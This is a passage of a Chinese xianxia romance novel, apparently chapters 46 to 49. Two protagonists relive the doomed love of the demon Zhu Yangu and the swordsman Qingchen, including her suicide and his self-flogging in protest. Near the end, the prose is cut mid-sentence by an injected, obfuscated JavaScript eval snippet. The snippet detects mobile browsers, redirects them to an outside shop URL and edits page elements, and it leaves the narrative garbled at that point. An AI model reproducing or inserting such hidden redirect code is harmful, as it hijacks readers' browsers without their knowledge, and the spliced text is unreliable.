“你们不清楚她的道心。因为给螭寐提供丹药,她一直很是愧疚,”轻尘说得很慢,边说边向外走,屋外是个晴日,阳光洒落他身上,晕开明灿灿的孤独,“她早已存死志,命可以说是吊在那些族人身上,你怎么能……” “你知不知道,如今她再修不了道,又不可能为恶,正邪两道无一处能容她,她就只能……” 他说得没错,朱颜故就只能死了。 46.罪人 轻尘最终在鹧鸪山下一间幽僻农院寻到朱颜故。 农院与第一场轮回里,崔惊厄租下的那间恰是一处。 飞来石前,谢扶光看着熟悉的农院,百味杂陈。 这里发生过最欢愉的相聚,也见证过最惨烈的别离。 幸好那场轮回已过,不会再惊扰轮回境的两个主人,院中悲喜事,只有她和崔惊厄两人记得。 “我知道我们进入他们的轮回境,为何会以这几个身份了。” 谢扶光扮演的葵花宫大公主与崔惊厄扮演的明镜台三弟子,一个在螭寐面前嚼舌根,致使朱颜故的悲剧发生,另一个则行事冲动毫无悲悯,以另一场更深重的悲剧为这一场悲剧画上了自以为是的句点。 至于舒扬舟扮演的葵花宫王上,则因无能和不作为致使全族陷于危难;黎暨的身份明镜台掌门,则以上位者的冷眼放任朱颜故作为替罪羊,漠然旁观。 “他们,都是罪人。”谢扶光的声音硬如冷铁。 她不是个情绪稳定的人,怒火烧起来通常比大多数人更盛,此刻看着飞来石,十指不由扣得死紧,指甲都深深嵌进掌心。 崔惊厄坐在她右面,想要掰开她的手,左手刚刚伸过去,想到什么,动作一顿又收回。 谢扶光有所察觉看去:“你干什……” 一句话未说完,猜到他心思,她也噤了声。 金字曾说,明镜台三弟子与葵花宫大公主之间,曾牵过一条红线。 呵,但凡看过飞来石中记忆的人,都知道这句话有多癫。 谁谈恋爱把恋人千刀万剐杀死? 谢扶光心头轻跳,心绪有点乱,又不愿显得太怂,蓦地探身过去,用左手扣紧了崔惊厄的右手指缝。 不消片刻,两只相交的腕上,红线盘绕依旧,代表的意思不言而喻。 有情的不是明镜台三弟子和葵花宫大公主,受生生世世姻缘牵系的是崔惊厄和谢扶光,只是他和她。 或许就连两个轮回境的融合,都是他和她的姻缘线牵引的结果。 一试过后,谢扶光立即收回手掌,眼中带着显而易见的迷茫。 突然冒出段前尘旧事,或许还掺杂些不太体面的恩恩怨怨,实在有点复杂了。 “没事,轮回境里我们又不是主角,我们的事无妨先放放,先去找黎兄和你师兄,咱们几个好好商量一下,该如何解开轻尘与朱颜故的执念。”飞来石的记忆已播放至尾声,崔惊厄适时出声,赶在她陷入更深困扰之前,将她拉了出来。 当日夜。 舒扬舟和黎暨由谢扶光和崔惊厄带着,各自从葵花宫和明镜台偷偷溜出,在那家熟悉的农院碰面。 谢扶光讲述事情的来龙去脉,她没有崔惊厄的好口条,此刻心里又燃着怒气,一段话说下来像放了条炮仗,听得黎暨胆战心惊。 “等等等等,所以师妹你的意思是,我们四个人扮演的角色就是这场悲剧的罪魁祸首,”讲到半截,黎暨没忍住打断,“那……我们需要道歉么?不会还得自裁谢罪吧?” 舒扬舟捅他一肘:“那是我师妹,别乱攀关系。” “不是,罪魁祸首另有其人,螭寐也跑不了,何况叶放的账也得一并清算。”谢扶光就要接着往下说,被崔惊厄塞了杯茶进来。 “大小姐,你先润润喉,剩下我替你说。”崔惊厄接过话,“轻尘和朱颜故都不是会因为记仇而将自己困于轮回境的性子,他们的执念比这要复杂一些。” 他讲述起记忆的后半段: 轻尘寻到朱颜故后,两人在这间农院里一起住了段时日。 期间朱颜故相当平静,没有大闹,没有哭,甚至不再饮酒。可她越看似麻木,轻尘越觉得心慌,他惟有抱紧她,深深感受她的温度,才能确认她仍是活着的。 他战战兢兢,总害怕某天自己醒来时,身边躺着的会是一具冰冷尸体,为此吃不好也睡不沉。 一次云雨时,朱颜故揽着他的腰,突然说:“我把你养瘦了好多。” 轻尘俯首吻了吻她汗湿的额发:“朱颜故,你知道,我很害怕。” 朱颜故确实知道,她也没有否认。她眼角滑落一滴晶莹,不知是潮浪中蓄不住的生理性泪水,还是被他的话唤醒了伤心事。 “轻尘,我的族人全都死了。” 轻尘又动了几下后,她突然喃喃开口,这是事情发生以后两人头回谈起此事。 轻尘当即就止了动作,他退出来,很珍惜地将她揽在怀里,像怀抱一片残破的瓷。 “朱颜故,以后我做你的家人。” “他们都是因我而死的。” “不怪你,但你可以代替他们好好活下去。” “可是轻尘,我不是很想活了。” 她的声音没有平仄,随意而自然,令他心脏抽紧。 他没有挽留,只说:“不想活,便不活了。” “但黄泉水浊,你得让我为你撑篙。” 朱颜故却似被逗笑了,脸埋在他颈间,吐息温热:“还是算了,你去撑篙,想想就……真难看啊。” 这晚过后,她再没提过不想活的事,仇与痛仿佛又轻飘飘揭过了。 轻尘晨间练剑后,能吃到朱颜故熬的热乎乎的米粥;他每每出门回来,也都会给她带件小玩意儿,或是发簪,或是脂粉…… 两人像世间最寻常的夫妻,也像湍流中紧偎着支撑彼此的浮木。 他继续研习符咒和剑术,暗暗决心要替她报仇,像一只不知天高地厚的蝼蚁; 她则接着炼她的丹药,尝试在炼制时融入不引人注意的毒烟。 平静和温馨中,旧恨暗藏。 轻尘无时无刻不觉得有一块无形巨石悬在头顶,威胁着镜花水月般的缥缈太平。 朱颜故的生辰,轻尘没有送出那份日现暝昏符咒。 但两个月后他的生辰,朱颜故好好为他筹备了一番。 时值五月末,暮春时节,残红碎绿。 与凋零的春景不同,朱颜故在这日特地换上了件喜庆红裳,她描了眉,还施了脂粉,素雅多日的脸上又有了颜色。 她看着轻尘,自斟了盏酒,一饮而尽,眼里盛满了他。 “春日宴,绿酒一杯歌一遍,再拜陈三愿。” 酒不醉人人自醉,轻尘没有饮酒,眼神却无端迷离,一瞬不瞬盯着朱颜故瞧。 “一愿郎君千岁,二愿君身常健……” 轻尘眉梢一动,话藏在哼笑里,在如锈月光下像是梦呓:“背错了,该你常健。” 朱颜故吃空了酒盏,盈盈一笑:“没背错,我盼你好呢。” “你好了,我自也就好了。”轻尘从来被说少年老成,此刻竟染了几分稚气,接过朱颜故的酒杯,破天荒地饮了酒,被辣出一点结巴:“你不知……不知道,我每日心……心都是悬着的,生怕你哪天走……走了,我该上哪儿寻你呢……” 他死拽着她衣角,眼眶泛红,模样瞧着可怜:“今日我 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轻尘生辰前夕,朱颜故炼成了那批丹药,她走后又回了趟妖魔界,将丹药藏匿,又故意露了些行迹,螭寐底下的废物魔兵果然以为寻着了宝贝,愚蠢地拿给螭寐献宝。 那天正是葵花妖全族死后的第一百天。 火烧螭寐寝殿,半是一时兴起,做全丹药被“意外”找到后气急败坏的戏; 另一半也算蓄谋已久,旧恨翻涌在她心头,从未有过片时平息,它们需要个发泄的出口。 放火这点小把戏自然杀不了螭寐,但他也受了些轻伤,而且寝殿焦了一半,落人笑柄,令他很不高兴。 最严重的是,几天后他接到“那个人”的消息,得知最后这批丹药有问题,他难得恐惧,更引发深深的愠怒。 朱颜故逃往人界,螭寐手不方便伸太长,派魔兵暗中抓捕的同时,不知耻地卖了修界一个“人情”,他警示各宗有妖女作乱,顺带着把丹药的脏水也全泼到了朱颜故身上,称自己只是御下不严,但确实毫不知情。借刀杀人的同时,将自己择了个无债一身轻。 修界各大小门派闻风而动,一边暗骂螭寐的无耻,一边又十分乐意地“相信”了他的推脱,修界与妖魔界难得同仇敌忾,誓斩妖女以卫大义。 一时间,朱颜故遭到正邪两道的倾力追杀,处境危急。 轻尘最终在洗尘山的山巅寻到她,这也是十三年前他救下她的地方。 农院同住的日子里,为缓解轻尘的疑心病,朱颜故曾默许他在她身上种下追踪的符纹,但临行前她从轻尘那儿偷了些灵力,掩去了符纹效力。 而就在今晨,不知是灵力耗尽,还是她有意让他寻到,沉寂月余的符纹终于再度亮起。 轻尘比旁人先见到她一步,可也仅仅是一步。 他一来,朱颜故就散开妖力,似有意诱引其他人追来。 山下出现火光与人声,他们甚至来不及叙旧,就陷进重重包围。 朱颜故眉眼冷若霜雪,红衣在凉风中飒飒作响,不添半分热烈,反衬得她面色更加苍白。 “我初见你时,真没想过会走到今日。”立在熟悉的山癫,朱颜故把轻尘被风吹乱的鬓发理整齐,很短暂的喟叹了一句往昔。 然而下一句她便说:“轻尘,一会儿各宗门的人来了,你就当着他们的面杀了我,重新回明镜台修道去吧。” 47.地官赦罪 如刀夜风里,轻尘眼梢晕开一丝自嘲笑意。 他向后退了半步,微歪着头看朱颜故,目光很是伤情:“你准许我找来,原是为着让我杀你求荣啊。” 他的目光带着刺,朱颜故有点想躲,又想着死到临头,见一眼少一眼,终究没有避开。 月光不说话,山脚灯火无言,她在这山雨欲来的沉寂里也默了少顷。 然后,她说:“轻尘,平心论,我不该死么?” 轻尘没有回答。 朱颜故随之轻轻一笑:“你看,你也知道。” “螭寐虽为罪魁祸首,但我为虎作伥,也该为犯下的错付出代价,这世道谁没点不得已呢?有苦衷便能做坏事了么?”她含着笑,语气轻松,仿佛不过是在闲话琐碎家常:“从选族人的那刻起,我便已然舍了世人。今日你若再袒我,你的道心就彻底毁了。” 轻尘心里发苦,却在她的笑眼里将重重忧怖悉数卸下,也扯了个笑出来。 “如你所言,你为螭寐做事,因的是一己之私,”他笑着扳回这一局,“可是朱颜故啊,我就没有我的私么?” 他舍师门舍荣耀舍身后名,执意与她纠缠进这场注定遗臭万年的局,无悔无怨。 他都做到了这份上,她又与他探讨什么该与不该呢? 轻尘近一个月几乎没怎么睡,适才又奔波了一路,声音沙哑,却轻易盖过了修士们沿山疾行的脚步和夜风狂莽的嘶吼,在朱颜故心底砸下一个巨大火球,炸出炽热狂浪,灼得她整颗心都在战栗。 “妖力散的早了,可惜啊……”她低喃一句。 没想到修士们追来得这么快,她连好好体会这场惊动的时间都不剩。 火光与人声越逼越近,再不做点什么,轻尘的名就真被她污了。 从轻尘那儿偷来的灵力还剩一些,朱颜故借这仅存的一点拔出他的子虚剑,轻尘不妨她突然出手,急急想要收回,可她身上妖力天然吸引子虚剑芒。月光恰好打在轻尘身上,把朱颜故留进泼墨般漆黑的阴影,明与暗自然割裂,子虚正正当当僵持在分割线上。 “朱——颜——故——”轻尘怕得发狠,他盯紧阴影里女子的脸,两眼一片猩红,额头青筋都因用力而明显的凸起。 “轻尘,你听我说,”快来不及,朱颜故语速很快,“先前没有告诉你,当年就是在这座山,我的道心因你而生,可惜一朝风云变,终究丢掉了半生坚持。” “今夜我伏法于子虚剑下,便当作你渡我心似琉璃,往后,你的道也是我的道……” 就在这时,山顶冒出了第一个人头。 朱颜故眼尖瞅见,眼里噙了半日的泪随着最后的一笑染湿面颊,沉没进笑靥里。 她笑得极尽绚烂,像夏末声嘶力竭的鸣蝉,也像行将凋零之际孤注一掷盛放的夜半幽昙。 “轻尘,我此生好景不多,幕幕都有你。你千万好好活着,别叫它们蒙了灰。” 她话音落下,周身灵力与妖力一并爆开,带动子虚脱出轻尘掌心。 只一眨眼光景,利刃入肉的钝响已惊雷般爆开在他耳畔。 第一批修士刚上山,就见朱颜故已气绝倒地,胸口还插着轻尘的子虚剑,见此情形,一个个纷纷住了步子。 轻尘怔然立在原地,许久,他先感受到胸口传来裂痛,一丝丝牵扯神经,然后才缓慢地回过神来。 他双眼模糊,用上好久才勉强认清。 蝉死了,花谢了。 朱颜故的红衣如一片残败枫叶飘落在山巅上。 枫叶也枯了。 空中有细密雨丝堕下,轻尘伸手轻轻接起,有点遗憾此情此景没能飘一场雪下来。 山巅上的雪终究未沾上朱颜故的污名。 她如愿笑着踏上黄泉路,剩他做了这浊世淹留人。 轻尘被重新迎回明镜台,身上添了个“诛妖英雄”的美称。 他在朱颜故身边的那段时日被“美化”为忍辱负重,只为令恶妖放松警惕,然后一击必杀。 犹记掌门对弟子们宣布这些时,他没忍住笑出了声。 明镜台建于鹧鸪山顶,受日光普照,他在这金光里勾唇讽笑,越笑越大声,周围的师弟师妹们见他笑,也纷纷陪着干笑起来。 他一开始只是笑这虚伪的说辞,后来又笑他自己,笑命运无常,再后来又笑这些乌合之众,笑到最后近乎癫狂。 那天以后,宗中就有流言传出:“大师兄莫不是斩杀恶妖得了太多荣耀,高兴疯了。” 轻尘确实变了许多。 他为子虚剑易名“如故”,又在寝居前种了满院向日葵,偶尔下山沽酒喝,依旧不胜酒力,醉了就睡在一醉湖畔的秋千上。 没人知道他想干什么,唯掌门记起先前的密谈,猜出几分却不敢劝他——现在的轻尘就像一根绷紧到极致的琴弦,只消轻轻一拨,便要粉身碎骨。 掌门在这山雨欲来的满楼阴风里,突然有点后悔当初在他最难捱的关口,没有出手拉他一把。 终于,雨来了。 七月半,中元节,道家称这天为地官赦罪的日子。每年的这一日,明净台都会在清虚殿举办赦罪大典。 轻尘从前不理俗务,清虚殿他只来过两次,第一次是为参加赦罪大典。 那是在他首次下山前,依明镜台宗规,唯参加过赦罪大典的弟子才拥有下山资格。 当年他堪堪十岁,那日的天气、大典的流程他都已忘了,只记得师父让他好好看清楚那些跪在殿前阐述罪行的人们,而他神色漠然,当时他想:跪在这里忏悔的人绝无可能是他。 而就是那次下山,他救下时年五岁的小妖朱颜故。 第二次则在前不久,非地官赦罪的日子,殿前没什么人,清净的环境很合适思考。那时他才于一醉湖重遇朱颜故,心尚未定但幽情暗生,正是万般纠结时。 那一日他独自在清虚像前默立了许久。直到月上柳梢,他似乎才终于想清楚,俯身跪地,从来高昂着的头深埋下去。 “弟子心悦朱姑娘。”情字于他,沉重而生涩,他在心里慢慢说:“但弟子不悔不改,不求赦免,因她并非我罪名。” 他一直记得那晚的月色,月润如玉,映着应和他的夜风。风掀皱了他道袍一角,他没有抚平。 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“轻尘自请八十八鞭,还请诸位见证。”轻尘面上带着麻木的平静,视那半只手腕粗的长鞭为无物。 八十八鞭是明镜台最重的刑罚,也是修士之体所能承受的极限,没人知道他要做什么。 也有人想起“轻尘高兴疯了”的传闻,在场一双双精明的眼睛紧盯着他,如同一簇簇幽微鬼火。 第一鞭裹挟破空声骤然砸下,力透绯衫,碎布与血箭齐飞,轻尘额角已然见汗。 赦罪鞭制得太毒,挥鞭道童年纪轻,头回见这鞭子威力,哆嗦着不敢再下手。 “我早已锻体,被它伤不了根本,”轻尘呛咳两声,啐出几滴血沫,沉声威慑:“你若敢收力,往后便不必再跟着我。” 长鞭一次次从轻尘背上剐过,每一次都带走一层更深的血肉,轻尘开始还能端正跪着,最后已是瘫倒在地,在血汗交融里不住喘息。 良久,八十八鞭总算罚尽,小道童也虚脱般长舒口气,抖着手撂下鞭子,就要上前扶他。 轻尘却避开他伸来的手,他喉咙被血堵住,嗓音嘶哑,只能靠灵力推着传出,断断续续飘散在请罪台。 “朱颜故的罪……今日我轻尘都代她受了……”他话语艰难到有些难以为继,却仍勉力说着:“往后再提起朱颜故三字,便是干干净净的……” 此话一出,周遭唏嘘声一片,有人幸灾乐祸,有人啧啧称奇,还有人窃窃私语,但轻尘都已无心在意。他朝行刑道童使了记眼色,示意他拾起鞭子继续打。 小道童大惊,他看着轻尘血肉模糊的背,声音发虚,腿都跟着打哆嗦:“道长,不用再打了,八十八鞭,再深的罪业都赎尽了……” “赎尽?她的罪我确赎尽了,”轻尘面上当真现出几许疯态,他唇畔挂着笑,目光却是凌厉的:“可是,浮世三千啊……怎么可能只她一人有罪呢?” 轻尘看不到,在他领赦罪鞭时,另一块飞来石中朱颜故的记忆也在缓慢放映着。 48.两轮回 记忆的朱颜故不再是妖,而是一缕孤魂。 她死后,魂魄久久不散,在尘世浮沉两月,她发现回到明镜台的轻尘过得并不好。 每一日,她那已不复存在的心口都在幻痛,痛意在赦罪大典这天抵达了巅峰。 心有不甘,于是她做出了一个惨烈的决定。 请罪台上,小道童被轻尘吓到,在他的笑里手脚发抖,掉了赦罪鞭。 轻尘干脆自己把那鞭子扯了过来,在鞭上施了灵力。 他对自己够狠,赦罪鞭受灵力驱使,以更重的力道裹挟劲风而下,他一大口鲜血直喷而出,在呛咳声里慢慢地说:“第八十九鞭……赦我空读圣贤书,不通世间事。” 倘若他不曾对修界怀抱期冀,没有写下那些信件,就不会有葵花妖全族的覆灭,他们换个方式从长计议,朱颜故或许也不会行至穷途末路。 “罪女朱颜故愿舍往生,弃来世,永堕轮回……” 道道鞭声里,朱颜故以再无往生为代价,将魂魄锁进了轮回境。 第九十鞭贴着朱颜故尾音疾落,轻尘听不到她,只吐血如泉涌。 “这一鞭……赦我经年庸碌浪得虚名,明知螭寐有罪却无能诛他以祭亡灵!” 此言一出,众人面色遽变。 前不久轻尘提议各宗门勠力共抗螭寐,那时他还只是个小有才名的小辈,他们打发他的托词如今纷纷扇回在脸上,那力道不比赦罪鞭轻。 “朱颜故,纵你入了轮回境,我也无法保证你执念能解,很可能这一次不甘心,换来会是生生世世的未如愿。” 朱颜故的飞来石中传出一个女声,沉静而悲悯。这道声音谢扶光很熟悉,正是曾在幻境中与她对话的天道。 “你,可会后悔?”天道最后问。 “第九十一鞭,赦我自诩名门正派却只知明哲保身,未能舍下这凌云路!” 这下,在场的人终于知道轻尘打算干什么了,他口口声声说着要赦自己的罪,其实字字都在鞭笞他们虚伪无能。 “我知这一世因果命数如此,此间桩桩件件不平事,非我一副血躯得以抗衡。” 然而,然而…… 朱颜故仍是选择重蹈覆辙:“我承诺,决定既做,不悔不改。” 她宁活不过一条残喘的狗,也不要认下这条命。 “第九十二鞭,赦这世间正义不正,道法三千形同虚设,竟也向高位与强权叩头!” 掌门再听不下去,今日之事一旦传开,往小说是轻尘与妖女有染,明镜台清名不保;往大说,修界各宗谁都摘不出去,一损俱损,一旦人界百姓们听得只字片语,闹起来便一发不可收拾了。 他疾步上前,要堵轻尘的嘴。与此同时,其余各派来观礼的人也动了。他们彼此互视一眼,心照不宣。 轻尘疯了不打紧,可他竟妄想拉着这若干大小门派一起疯。 举世皆浊时,便是清者有罪,须知遮羞布是最不能扯的。 “你既心意已决,便说出你的执念。”天道的声音无波无澜,“有一点我仍需提醒你,轮回境以执念为食,念散则魂灭。” “执念为何,你需得想好。” “第九十三鞭……”轻尘无视从四面涌来的脚步声,自顾自地说:“赦这世情凉薄,人心浸利欲,良言变逆言,有谏无处说……” 这句说完,明镜台掌门已趋至请罪台前。 “罪女执念有三。” “其一,不该为虎作伥,永失道心。” 因朱颜故给的那些丹药,魔兵们混入修界,螭寐手下必添冤魂,那些都是她看不见的血,但每一滴都得记在她身上。 “其二,未见仇人螭寐伏诛,我难解心头恨。” 她做错了事,她无妨付出代价,但凭什么,凭什么螭寐更恶一筹,他却依然坐在高位上好好活着? “其三……”说到这一条,朱颜故的声音变得柔软,轻轻偏过头,最后看了一眼请罪台上的轻尘。 赦罪鞭在满地血色里响落最后一声,溅起血花飞上掌门的脸。 轻尘没再扬声开口,他用额头抵着已改名“如故”的佩剑剑柄。 “最后一鞭,赦我……没把你拉出来……” 一颗泪珠沿着他眼角淌进血里,这血瞧着像泪,泪也瞧着像血。 “其三,误了明镜台轻尘道长的仙道通途,若能重来,我盼他永远光风霁月,不染凡俗。” 随着最后一道尾音落下,朱颜故的魂魄消失,被锁入万里悲丘,陷进轮回梦中。 轻尘被拉下请罪台,他垂眸望着身上斑驳血渍,一路大笑出声。 自朱颜故死后,他总是笑。 泪都作血流了,何不痛痛快快笑一场? 朱颜故说他是山巅上的雪,莫沾她污名; 掌门说在他自己之前,他首先是明镜台未来百年的荣耀。 他笑这雪总算脏了; 他笑明镜台的百年荣耀被血淹了; 他笑自己这块盖住污秽的遮羞布,今日被赦罪鞭撕烂了…… 他越笑越疯,眼前锢着他的这些人,多值得一笑啊! 笑到最后,又一口血如浆喷出,一滴洒在如故剑的剑柄。 轻尘止了笑,怔怔望着那滴血像泪一样滑满整个剑身,又从剑尖跌落,没入石砖缝隙,为那陈年积垢添上新的一笔。 半晌,他轻轻叹出一口气,低声呢喃如同抵耳私语:“朱颜故,修界不给你的道,今日我轻尘还你了……” …… 农院中传来几声吸鼻子的响动。 “呜呜太惨了,舒兄,”黎暨伤感得两眼泪汪汪,扯过舒扬舟的衣袖就要抹眼泪。 “金线缝的,弄脏了你得赔。”舒扬舟非但不给面子,还看热闹不嫌事大,“刚刚我师妹讲的时候,你怎么没这反应?” “我讲的不好吗?”谢扶光的视线歘一下射过来。 “当然没有!”黎暨说着放开舒扬舟衣袖,一并把眼泪收回,他清清嗓子恢复正色,转移话题道,“所以说,朱颜故的执念已经很明确了,这三条咱们一一攻破,轮回境就能通关了吧。” “还差一条。”崔惊厄却说。 “黎兄,别忘了,还有轻尘的呢。”他提醒。 当年赦罪大典过后,轻尘疯了的传言甚嚣尘上,不仅明镜台,甚至整个修界都再不容他,恰好他也无 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朱颜故的执念依旧未解。 仅剩一次机会,轻尘有点慌了,他开始后悔最初贪一己私欲,与她共度的第一场轮回。 第三场,他将破解执念的关键赌在了杀螭寐报仇。 有了第二次轮回中经历,他对妖魔界已很熟悉,身上带了大堆日现暝昏符咒,同归于尽炸了魔尊殿,最终他死,螭寐伤。 三次机会耗尽,他还没从最后的死亡里回神,就不明不白被送出了轮回境。 其后几年,他游走于第一场轮回里与朱颜故一同去过的地方,给螭寐添了不少麻烦,但同时也耗损了大量生机,就如花辞树秘境中的叶放,他的大限也来得比预想中早得多。 生命的最后,他又回到万里悲丘,在那里他如朱颜故一样,也将魂魄与天道做了交易。 他的轮回境就紧挨在朱颜故的轮回境旁,抵死依偎,生世纠缠。 “轻尘最后的执念有两个,”崔惊厄说,“其一,朱颜故之事上,修界所为令他多年信仰崩塌;其二,便是希望朱颜故执念得解。” “所以,他们两个加一起,我们要攻破的执念一共是四条。” “还有一事,我们在上一场轮回中,所得结局是‘未触及轮回境主人执念’,”谢扶光饮尽崔惊厄给的茶,五指揉搓着杯壁在旁补充,“而上场轮回中,她并没有为螭寐做事,我猜测她第一条执念中真正在意的点是,在相似境遇下,她能守住道心做出正确选择。” 舒扬舟颔首:“确实有这个可能,这样的话,我们行事的最佳节点应该是事情已发生,而她还没有给螭寐炼制丹药的时候。” “啧,”他活动了一下手腕,觉得有点没劲,“那会儿我大概正窝窝囊囊地关地牢。这些时日待得我手痒,上一场轮回起码还送了我几个虾兵蟹将,这次干脆手都没机会出。” “不一定,”崔惊厄提醒,“别忘了朱颜故的第二条执念,她想给螭寐教训,光靠修界的力量或许不够,到时候或许能里应外合,做两手准备吧。” 49.新起点 飞来石在四人灵力的催动下,带动时光流得飞快,停下时已至葵花妖全族被擒的当日。 舒扬舟竭力压抑动手的冲动,挥别葵花宫王上的锦衣玉食生涯,窝窝囊囊被螭寐囚入地牢。 螭寐御下奖惩分明,也正因此,才吸引到大批忠诚的狗腿子。 葵花宫大公主告密有功,魔尊殿下相当仁慈地赐予她最佳犯人待遇,给她一间不错的屋子作牢房,甚至还配了侍婢,伺候监管两不误。 “听你这么说,螭寐还怪好的。”通讯纹另一头,崔惊厄如此评价。 谢扶光与他又连上了上场轮回里那个很好用却爱听人心声的猥琐通讯纹。 纹路静静躺在掌心,无时无刻不在提醒着他们之间姻缘线的存在。 “小恩小惠。”谢扶光想起那姻缘线,无端烦躁。 “他这么给面子,你不蹬鼻子上脸一下未免亏了。”崔惊厄若有所思。 “什么意思……” 在崔惊厄的远程指导下,谢扶光将小妖得志进行到底,成了葵花妖全族臭名昭著的败类。 一连几日,她先后向螭寐揭发多件诸如族人甲口吐秽语玷污大人声名、族人乙向大人仁慈赐予的餐食中吐痰等鸡毛蒜皮事,谢扶光自己都觉得烦,舒扬舟更是公报私仇大骂她败类。 偏螭寐很受用,他爱极了这种为一己私欲背叛亲故的戏码,魔心大悦,把她的待遇一提再提,及至朱颜故被叫到魔尊殿的那天,她已成为替螭寐料理葵花妖族大小事宜的大喽啰。 “大小姐,恕我直言,您可真不是个东西啊。”面对她的丰功伟绩,背后主谋崔惊厄腆颜感叹。 “你教的。”谢扶光又问,“今日朱颜故回妖魔界?确定么?” “放心,我的人盯着呢,计划可以开始了。” 所谓计划,其实很简单,就是谢扶光要获取螭寐信任,进而争取到盯着朱颜故做事的机会。 善恶通常仅在转念间,分岔口前朱颜故需要有人引导。四人的身份里,她最合适成为这个角色,前提是关键时刻她必须能与朱颜故接触。 事情进展得很顺利,谢扶光进到魔尊殿时,螭寐已与茅坑里臭石头一样的朱颜故废了好半天口舌,被她突如其来一通马屁拍得心花怒放,堪称“如听仙乐耳暂明”,面色都和缓了不少。 谢扶光看进眼里,顺势提出:“尊上,牢里那些小妖近日还算乖巧,小的已闲了好几天,这不就想着……替尊上分分新的忧。”说着,她意有所指地扫了眼朱颜故。 “你想替我盯着她做事?”螭寐其实挺看不上葵花宫的大公主,但她拍马屁的功夫一绝,留着解闷也算个好物件,一时便没有拒绝,“我看你是想公报私仇吧。记住,别太过,她这条命可比你的有用。” 就这样,谢扶光跟朱颜故一道出了魔尊殿。刚出门,朱颜故一枚拨云子暗器登时打来,周围还有些魔兵,她不宜暴露功夫,生生用左肩挨下这一记。 她假模假式嚎了两嗓子,又大骂几句,待行过那些魔兵,四下寂静,她便止了动静。 “这件事是我对不住你,但我平日里虽爱跟你斗,却没想过拉全族下水,今日结果亦非我所愿。”谢扶光灵活避开朱颜故的第二枚暗器,开门见山。 “非你所愿?”朱颜故对她没有好脸色,“我看你倒乐在其中。” “忍辱负重,取得螭寐信任而已。”谢扶光没崔惊厄那么大脸,说起他教的说辞有点脸红,轻咳一声又说,“我知道你有账要与我算,但眼下不是内讧的时机,我出来是想叮嘱你,你不能替螭寐做事。” 朱颜故这会儿到底还小,还没经历后续的磨难,心性相对单纯,心眼也不算很多。谢扶光天然一副正直相,煞有介事的一番话真有点把她唬住了。 “我当然不想替他做事,可死了你和父王这种败类事小,我做不到眼睁睁看着底下那些族人因我丧命。”朱颜故显然对她和舒扬舟积怨已久,但鉴于她适才的道歉还算有诚意,回话倒很出自肺腑,“而且螭寐的要求不算过分,他只向我要了三百颗丹药,我那些丹药的效力最多只维持几个时辰。” “朱颜……”谢扶光叫出一半,才记起朱颜故这会儿还没改命,这场轮回的开头舒扬舟也没乱给她赐名,她现在用的是本名阿葵。 “阿葵,你这么说骗得了自己么?” 朱颜故不说话。 “据我这些天对螭寐的了解,他不是会适可而止的性子,现在要的不多,多半是想一点点降低你的底线。”谢扶光如实说,“而且你若给他丹药,修界恐怕要有难,这与以邻为壑祸水东引有什么区别?” 这话击中了朱颜故心坎,刻意压下的隐忧被谢扶光明晃晃摆上明面,她便不能佯装无事了。 “你说你忍辱负重这么久,可已有了办法?”朱颜故问。 “办法确实有一个,”她没想到,谢扶光还真有,“你想,你若给他丹药,受威胁最大的定然是修界,而距离我们最近的南远洲中,最大的宗门则是明镜台,所谓敌人的敌人就是朋友,或许我们可以求明镜台施以援手。” “明镜台怎么会管我们的事?”朱颜故目光中带着审视,看了她好一会儿,突然问,“都这时候了,你不会还惦记着找你那惊厄道长吧?” 谢扶光:??! 怎么又跟他扯上关系了?剧本里没这出啊! 想了想,她觉得大概是姻缘线横生的枝节,干脆顺着说道:“找他也行,现成的人脉,不用白不用。” 在了解到朱颜故和轻尘的真正执念后,他们的一切行动都很顺利,童话故事一样。 谢扶光把朱颜故半拐半骗到鹧鸪山脚,崔惊厄按照约定,“刚巧”约轻尘下山除妖,双方很不出所料地碰头。 朱颜故五岁那年被明镜台三弟子伤过,这会儿还记着仇,而且出于“我记了你十三年而你却把我忘了”的少女心思,她见轻尘也有点别扭,始终板着张脸不愿开口。 谢扶光只好出面,走着流程向崔惊厄说了葵花妖全族被螭寐囚禁的事,重点道明丹药这层利害关系。 崔惊厄拧眉瞪眼,堪称浮夸地“竟有此事”一句,转头与轻尘一商量,立即原路折返通报掌门。 临行时,轻尘回头多看了朱颜故一眼,不知是剪不断理还乱的宿命使然,还是他天生一副慈悲心肠,他在她掌心塞了一沓符纸。 “姑娘不必忧心,各宗宗主都极明事理,必不会对此事坐视不管,你回去等消息即可。若还遇到什么麻烦,大可再来鹧鸪山脚,燃此符咒,一盏茶内我定出现。” 崔惊厄和轻尘都太好说话,直把朱颜故看得一愣一愣,人走了许久她才回神。 “他们还真答应帮忙了。”朱颜故看向谢扶光,有几分懵然的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493442|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢喜,一时与她的那些陈年旧怨都忘了。 想到现实中各宗反应,谢扶光开口时声音微涩,只说:“他们两个还是很好的,明镜台的掌门也不错。” 回去妖魔界后,谢扶光采纳崔惊厄建议,每日向螭寐谎报三次朱颜故的炼丹进度,包括但不限于某日炼丹时间少了半柱香、某次炼丹前没有净手焚香、某一餐吃了大蒜担心对丹药影响不好…… 一连几天汇报下来,积极异常,别说螭寐烦,连她自己都觉得这丹炼得像真的一样。 没多久,在螭寐的勒令下,她的汇报频次从一日三次改到了三日一次,前来暗查的魔兵也少了。 事实上,谢扶光还真不全是乱说,朱颜故这些时日确确实实是在炼丹,只是此丹非彼丹。 飞来石的记忆里,朱颜故最后设计留给螭寐一批加了佐料的丹药,算阴了他一把,谢扶光借花献花,将丹药的炼制方法重新教给朱颜故。 朱颜故的第二个执念,是让螭寐受到应有的惩罚。 这一次他们不会放任葵花妖灭族,与螭寐自也不必闹到你死我活的一步,但小惩大诫还是要的。 他做这么多,无非是为了丹药,那朱颜故在丹药上挖个坑,也算全了这份因果。 